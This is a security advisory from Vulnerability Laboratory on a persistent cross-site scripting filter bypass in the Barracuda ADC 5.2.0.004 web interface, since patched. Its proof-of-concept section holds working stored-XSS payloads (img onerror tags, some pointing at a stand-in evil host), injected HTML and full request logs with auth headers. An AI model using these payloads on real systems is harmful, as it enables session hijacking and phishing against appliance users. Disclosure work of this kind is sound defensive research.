Document Title:
===============
Barracuda ADC 5.x - Filter Bypass & Persistent Validation Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1423


Release Date:
=============
2018-07-09


Vulnerability Laboratory ID (VL-ID):
====================================
1423


Common Vulnerability Scoring System:
====================================
3.8


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
1.000a! - 2.000a!


Product & Service Introduction:
===============================
Ensure Application Scalability,Performance, and Security. The Barracuda
Load Balancer ADC is ideal for organizations looking for
a high-performance, yet cost-effective application delivery and security
solution. With the broadest range of hardware and virtual
models, the Barracuda Load Balancer ADC provides maximum flexibility for
organizations looking to build highly secure and scalable
application infrastructure, whether itas deployed on-premises or in the
cloud.

(Copy of the Vendor Homepage:
https://www.barracuda.com/products/loadbalancer )


Abstract Advisory Information:
==============================
The vulnerability laboratory research team discovered a persistent input
validation web vulnerability in the Barracuda Networks ADC v5.2.0.004
appliance web-application.


Vulnerability Disclosure Timeline:
==================================
2016-10-01: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Barracuda Networks
Product: ADC Load Balancer - Appliance Web Application 5.2.0.004


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
No authentication (guest)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Bug Bounty Program


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in
the official Barracuda networks ADC appliance web-application.
The application-side vulnerability allows remote attackers and
privileged user accounts to inject malicious script codes to compromise
the online service web-application.

The application-side input validation web vulnerability is located in
the servername value of the Services - Konfigurierte Server
[Content Rules Add] module. Local low privileged application user
account can inject malicious script code with persistent attack vector
to the vulnerable to module. The injection point of the issue is the
vulnerable add module and the execution of the malicious code occurs
by the restapi (api) in the Konfigurierte Server (Item Listing) module.

The input form of the appliance web-application are filtered. If an
attacker injects for example script tags with an alert message to see
the cookie the execution is prevented. If the attacker uses an iframes,
embed scripts and img-src tags he will be able to bypass the filter
to execute own codes.

The security risk of the persistent input validation web vulnerability
is estimated as medium with a cvss (common vulnerability scoring system)
count of 3.8. Exploitation of the persistent vulnerability in the
`Services - Konfigurierte Server [Content Rules Add]` module requires a low
privileged heroku account with low user interaction. Successful
exploitation of the vulnerability results in session hijacking, persistent
phishing attacks, persistent redirect to external source and persistent
manipulation of affected or connected module context.


Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Services - Konfigurierte Server [Content Rules Add]

Vulnerable Parameter(s):
[+] Servername

Affected Module(s):
[+] Konfigurierte Server (Item Listing) - [API] (restapi)


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by
remote attackers and local low privileged application user account with
low or medium user interaction.
For security demonstration or to reproduce the security vulnerability
follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Open the barracuda adc web-application
2. Open the content rules add modules in the left sidebar
3. Inject own script code payload to the server name value and save the
input (content rules)
Note: A refresh returns back to the listing module
4. The persistent script code execution occurs in listed confirgured
server information next to the edit button (onlclick)
5. Successful reproduce of the stored cross site scripting security
vulnerability!


Vulnerable Module(s): Services >  Konfigurierte Server > [Servername]
Request Method(s): POST


PoC: Link
http://adc.localhost:8080/cgi-mod/index.cgi?auth_type=Local&et=1422208913&locale=de_DE&password=031be4109984ca59a98fd56ff6026422&primary_tab=BASIC&secondary_tab=services&user=guest


PoC: Source
<a href="#" data-modal="" data-modal-url="/cgi-mod/index.cgi?
password=9f1133ed1cee2ea778e8198db3d125e0&et=1422208951&auth_type=Local&locale=de_DE&primary_tab=BASIC&scope=rg_web_server&secondary_tab=r
g_server_detail&user=guest"
data-url-param="&scope_data=Corp_Web:192.168.1.4_80&service_name=undefined&server_name=Server_192.168.1.4_80
">﷐<img
src="x"
onerror="alert(/PTEST/)</script">&rule_name=Corp_Web&server_index=0&traffic=0"
data-modal-title="Edit Server" data-modal-submit-type="PUT"
data-modal-submit-uri="rule_group_servers"
data-modal-submit-ids="Content_Routing,undefined,Corp_Web,Server_192.168.1.4_80
"><img src="x" onerror="alert
(/PTEST/)</script">" data-m﷯odal-save-label="Anderungen
speichern" data-modal-cancel-label="Abbrechen"
data-modal-onclick="return false;">Bearbeiten</a>


--- PoC Session Logs [POST] ---
Status: 201[Created]
POST
http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/virtual_services/Corp_Web/content_rules

Mime Type[application/json]
   Request Header:
      Host[adc.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0)
Gecko/20100101 Firefox/35.0]
      Accept[application/json, text/plain, */*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Authorization[Basic
ZXlKbGRDSTZJakUwTWpJeU1EZzVOVFVpTENKd1lYTnpkMjl5WkNJNkltRTFaalkwWWpnMU0yRmtNelJqTldFMFltTXdZVEpsTVRCagpaVGMwWVRNNUlpd2lkWE5sY2lJNkltZDFaWE4wSW4wPQo6]
      Content-Type[application/json;charset=utf-8]

Referer[http://adc.localhost:8080/cgi-mod/index.cgi?auth_type=Local&et=1422208913&locale=de_DE&password=031be4109984ca59a98fd56ff6026422&primary_tab=BASIC&secondary_tab=services&user=guest]
      Content-Length[1182]
      Cookie[_ga=GA1.2.608616028.1422207688; _gat=1;
_ga=GA1.2.608616028.1422207688; _gat=1]
      Connection[keep-alive]
      Pragma[no-cache]
      Cache-Control[no-cache]
   POST-Daten:

{"modalAction":"create_rule","group":"Content_Routing","service_name":"Corp_Web","cache":
{"max_objsize":"256","req_cachehdrs_ignore":"0","negative_responses":"0","expiry_age":"60","file_extensions":"gif,tif,jpg,jpeg,png,bmp,ico,js,jsp,css,jar,swf,pdf"
,"resp_cachehdrs_ignore":"0","enabled":"0","min_objsize":"256"},"extended_match_sequence":"1000","persistence_cookie_domain":"","status":"1","header_name":"","sou
rce_ip_netmask":"","comments":""><img src[http://www.evil.source.com
onerror=alert(/PTEST/)</script>","host_match":""><img
src=http://www.evil.source.com
onerror=alert(/PTEST/)</script>","extended_match":"*"><img src=x
onerror=alert(/PTEST/)</script> undefined (HTTP-Version eq "><img
src=http://www.evolution-
sec.com
onerror=alert(/PTEST/)</script>)","compress":{"min_obj_size":"8192","enabled":"0","content_types":"text/html,text/plain"},"url_match":""><img
src=x
onerror=alert(/PTEST/)</script>","persistence_time":"600","failover_method":"LB","persistence_method":"NONE","lb_algorithm":"weighted_round_robin",
"persistence_cookie_name":"persistence","parameter_name":"","persistence_cookie_security":"0","name":""><img
src=x onerror=alert(/PTEST/)</script>",
"persistence_cookie_path":"","persistence_cookie_httponly":"1","cookie_age":""}]
   Response Header:
      Server[BarracudaHTTP 4.0]
      Content-Type[application/json; charset=utf-8]
      Transfer-Encoding[chunked]
      Connection[keep-alive]
-
Status: 200[OK]
GET
http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/virtual_services/Corp_Web/content_rules/%22%3E%3Cimg%20src=http://www.evil.source.com%20onerror=alert(/PTEST/)%3C/script%3E

Mime Type[application/json]
   Request Header:
      Host[adc.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0)
Gecko/20100101 Firefox/35.0]
      Accept[application/json, text/plain, */*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]

Authorization[BasicZXlKbGRDSTZJakUwTWpJeU1EZzVOVFVpTENKd1lYTnpkMjl5WkNJNkltRTFaalkwWWpnMU0yRmtNelJqTldFMFltTXdZVEpsTVRCagpaVGMwWVRNNUlpd2lkWE5sY2lJNkltZDFaWE4wSW4wPQo6]
      If-Modified-Since[0]

Referer[http://adc.localhost:8080/cgi-mod/index.cgi?auth_type=Local&et=1422208913&locale=de_DE&password=031be4109984ca59a98fd56ff6026422&primary_tab=BASIC&secondary_tab=services&user=guest]
      Cookie[_ga=GA1.2.608616028.1422207688; _gat=1;
_ga=GA1.2.608616028.1422207688; _gat=1]
      Connection[keep-alive]
   Response Header:
      Server[BarracudaHTTP 4.0]
      Content-Type[application/json; charset=utf-8]
      Transfer-Encoding[chunked]
      Connection[keep-alive]


Reference(s):
http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/virtual_services/Corp_Web/content_rules/
http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/virtual_services/Corp_Web/
http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/virtual_services/
http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/
http://adc.localhost:8080/restapi/v2/virtual_service_groups/


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a parse and encode of the vulnerable
content rules input field values.
Restrict the input and disallow special chars. Filter and parse the item
listing in the configured server module to prevent an execution.
Implement a own exception-handling to prevent application-side script
code executions.


Security Risk:
==============
The security risk of the persistent input validation web vulnerability
in the barracuda networks adc appliance
web-application is estimated as medium (CVSS 3.8).

Note: The issue was reported in 2016 to the barracuda networks developer
team. The issue was finally resolved in 2017 Q1 - Q4.
The disclosure process took about 1 year to complete by recognizing the
patch cycle.


Credits & Authors:
==================
Benjamin K.M. -
https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.


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=========================
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